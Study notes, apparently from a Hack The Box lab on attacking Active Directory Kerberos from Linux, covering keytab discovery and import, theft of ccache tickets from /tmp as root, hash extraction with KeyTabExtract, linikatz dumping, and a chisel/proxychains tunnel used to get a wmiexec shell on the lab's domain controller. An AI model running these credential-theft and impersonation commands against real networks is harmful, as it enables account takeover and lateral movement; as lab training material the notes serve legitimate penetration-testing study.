Linux computers can connect to AD. Commonly uses Kerberos tickets
- Just because linux machine uses kerb doesn't mean its a requirement for it to be joined to the domain.
Win/linux use the same process to request TGTs and TGSs They store ticket info differently though.
Linux stores kerb tickets as ccache files https://web.mit.edu/kerberos/krb5-1.12/docs/basic/ccache_def.html in /tmp
Location of kerb ticket stored in env var KRB5CCNAME - Can verify if tickets are being used or if default location of storing tickets is different.
ccache files are protected by r/w perms - user with elevated priv/root can gain access
Another use of kerb in linux is keytab files. Keytab contains pairs of kerb principles and encrypted keys (derived from kerb password)
https://kb.iu.edu/d/aumh
You can use keytabs to auth against various remote systems without entering a password - when you change pw, must recreate all keytabs.
Keytabs are commonly used to allow scripts to auth automatically using kerb without human interaction
- Example: Script can use keytab file to access files stored in windows share folder.
Scenario:
To practice and understand how we can abuse Kerberos from a Linux system, we have a computer (`LINUX01`) connected to the Domain Controller. This machine is only reachable through `MS01`. To access this machine over SSH, we can connect to `MS01` via RDP and, from there, connect to the Linux machine using SSH from the Windows command line. Another option is to use a port forward. If you don't know how to do it, you can read the module [Pivoting, Tunneling, and Port Forwarding](https://academy.hackthebox.com/module/details/158).
Linux auth via portforward
As an alternative, we created a port forward to simplify the interaction with LINUX01. By connecting to port TCP/2222 on MS01, we will gain access to port TCP/22 on LINUX01.
not sure if this is right but it seems to work:
┌──(root㉿kali)-[~]
└─# ssh -L 2222:172.16.1.15:2222 david@inlanefreight.htb@10.129.225.233 -p 2222
2: ens160: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
link/ether 00:50:56:b0:f4:50 brd ff:ff:ff:ff:ff:ff
inet 172.16.1.15/24 brd 172.16.1.255 scope global ens160
valid_lft forever preferred_lft forever
Checking linux/AD integration See if linux is domain joined:
realm list
The output of the command indicates that the machine is configured as a Kerberos member. In case realm is not available, we can also look for other tools used to integrate Linux with Active Directory such as sssd or winbind. Looking for those services running in the machine is another way to identify if it is domain joined. We can read this blog post for more details. Let's search for those services to confirm if the machine is domain joined.
ps -ef | grep -i "winbind\|sssd"
Finding & abusing keytabs
find / -name *keytab* -ls 2>/dev/null
need r/w priv on file
Another way to find keytab files is in automated scripts configured using a cronjob or any other Linux service. If an administrator needs to run a script to interact with a Windows service that uses Kerberos, and if the keytab file does not have the .keytab extension, we may find the appropriate filename within the script. Let's see this example:
crontab -l
[...]
home/carlos@inlanefreight.htb/.scripts/kerberos_script_test.sh
cat it out
In the above script, we notice the use of kinit, which means that Kerberos is in use. kinit allows interaction with Kerberos, and its function is to request the user's TGT and store this ticket in the cache (ccache file). We can use kinit to import a keytab into our session and act as the user.
Abusing
klist -k -t
[..]
/opt/specialfiles/carlos.keytab
Keytab name: FILE:/opt/specialfiles/carlos.keytab
KVNO Timestamp Principal
---- ------------------- ------------------------------------------------------
1 10/06/2022 17:09:13 carlos@INLANEFREIGHT.HTB
Impersonating a user:
klist
[...]
Ticket cache: FILE:/tmp/krb5cc_647401107_r5qiuu
Default principal: david@INLANEFREIGHT.HTB
Valid starting Expires Service principal
10/06/22 17:02:11 10/07/22 03:02:11 krbtgt/INLANEFREIGHT.HTB@INLANEFREIGHT.HTB
kinit carlos@INLANEFREIGHT.HTB -k -t /opt/specialfiles/carlos.keytab
klist
Testing access:
smbclient //dc01/carlos -k -c ls
Note: To keep the ticket from the current session, before importing the keytab, save a copy of the ccache file present in the enviroment variable KRB5CCNAME.
Extracting secrets from a keytab file https://github.com/sosdave/KeyTabExtract
python3 /opt/keytabextract.py /opt/specialfiles/carlos.keytab
With the NTLM hash, we can perform a Pass the Hash attack. With the AES256 or AES128 hash, we can forge our tickets using Rubeus or attempt to crack the hashes to obtain the plaintext password. Note: A keytab file can contain different types of hashes and can be merged to contain multiple credentials even from different users.
The most straightforward hash to crack is the NTLM hash. We can use tools like Hashcat or John the Ripper to crack it. However, a quick way to decrypt passwords is with online repositories such as https://crackstation.net/, which contains billions of passwords.
Finding ccache files
Reviewing env-vars
env | grep -i krb5
As mentioned previously, ccache files are located, by default, at /tmp. We can search for users who are logged on to the computer, and if we gain access as root or a privileged user, we would be able to impersonate a user using their ccache file while it is still valid.
Abusing keytab ccache
We need read privs and thats it. Located in /tmp
root@linux01:~# klist
klist: No credentials cache found (filename: /tmp/krb5cc_0)
ls -la /tmp
-- above used to find existing tickets we can read (since we are root)
root@linux01:~# cp /tmp/krb5cc_647401106_I8I133 .
root@linux01:~# export KRB5CCNAME=/root/krb5cc_647401106_I8I133
root@linux01:~# klist
Attacking kerb tickets from Linux - Chisel and proxychains
Most Linux attack tools that interact with Windows and Active Directory support Kerberos authentication. If we use them from a domain-joined machine, we need to ensure our KRB5CCNAME environment variable is set to the ccache file we want to use. In case we are attacking from a machine that is not a member of the domain, for example, our attack host, we need to make sure our machine can contact the KDC or Domain Controller, and that domain name resolution is working.
In this scenario, our attack host doesn't have a connection to the KDC/Domain Controller, and we can't use the Domain Controller for name resolution. To use Kerberos, we need to proxy our traffic via MS01 with a tool such as Chisel and Proxychains and edit the /etc/hosts file to hardcode IP addresses of the domain and the machines we want to attack.
Add hosts to /etc/hosts:
172.16.1.10 inlanefreight.htb inlanefreight dc01.inlanefreight.htb dc01
172.16.1.5 ms01.inlanefreight.htb ms01
Modify proxychains.conf: /etc/proxychains.conf
<SNIP>
[ProxyList]
socks5 127.0.0.1 1080
Download chisel to host
wget https://github.com/jpillora/chisel/releases/download/v1.7.7/chisel_1.7.7_linux_amd64.gz
gzip -d chisel_1.7.7_linux_amd64.gz
mv chisel_* chisel && chmod +x ./chisel
sudo ./chisel server --reverse
In this example we have access to the host with RDP - Connect to MS01 via RDP and execute chisel (located in C:\Tools).
 -- WHERE: 10.10.15.102:8080 is our attacking host public IP
Finally, we need to transfer Julio's ccache file from LINUX01 and create the environment variable KRB5CCNAME with the value corresponding to the path of the ccache file.
transferred kerb ticket to kali machine:
┌──(root㉿kali)-[~/cpts/password-attacks/resources]
└─# scp -P 2222 david@inlanefreight.htb@10.129.225.233:/home/david@inlanefreight.htb/krb5cc_647401106_S2TSzD ./
┌──(root㉿kali)-[~/cpts/password-attacks/resources]
└─# export KRB5CCNAME=/root/cpts/password-attacks/resources/krb5cc_647401106_S2TSzD
┌──(root㉿kali)-[~/cpts/password-attacks/resources]
└─# proxychains impacket-wmiexec dc01 -k -no-pass
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] DLL init: proxychains-ng 4.17
Impacket v0.12.0.dev1 - Copyright 2023 Fortra
[proxychains] Strict chain ... 127.0.0.1:1080 ... dc01:445 ... OK
[*] SMBv3.0 dialect used
[proxychains] Strict chain ... 127.0.0.1:1080 ... dc01:135 ... OK
[proxychains] Strict chain ... 127.0.0.1:1080 ... dc01:64741 ... OK
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra sh
Linikatz usage to impersonate a user after dump
root@linux01:/home/david@inlanefreight.htb# /tmp/linikatz.sh
[.....]
I: [kerberos-check] Kerberos configuration
-rw-r--r-- 1 root root 2800 Aug 11 20:37 /etc/krb5.conf
-rw------- 1 root root 2694 Aug 11 20:38 /etc/krb5.keytab
-rw------- 1 julio@inlanefreight.htb domain users@inlanefreight.htb 1406 Aug 11 20:40 /tmp/krb5cc_647401106_HRJDux
-rw------- 1 julio@inlanefreight.htb domain users@inlanefreight.htb 1414 Aug 11 20:40 /tmp/krb5cc_647401106_r8g1yW
[.....]
root@linux01:/home/david@inlanefreight.htb# kinit LINUX01$ -k -t /etc/krb5.keytab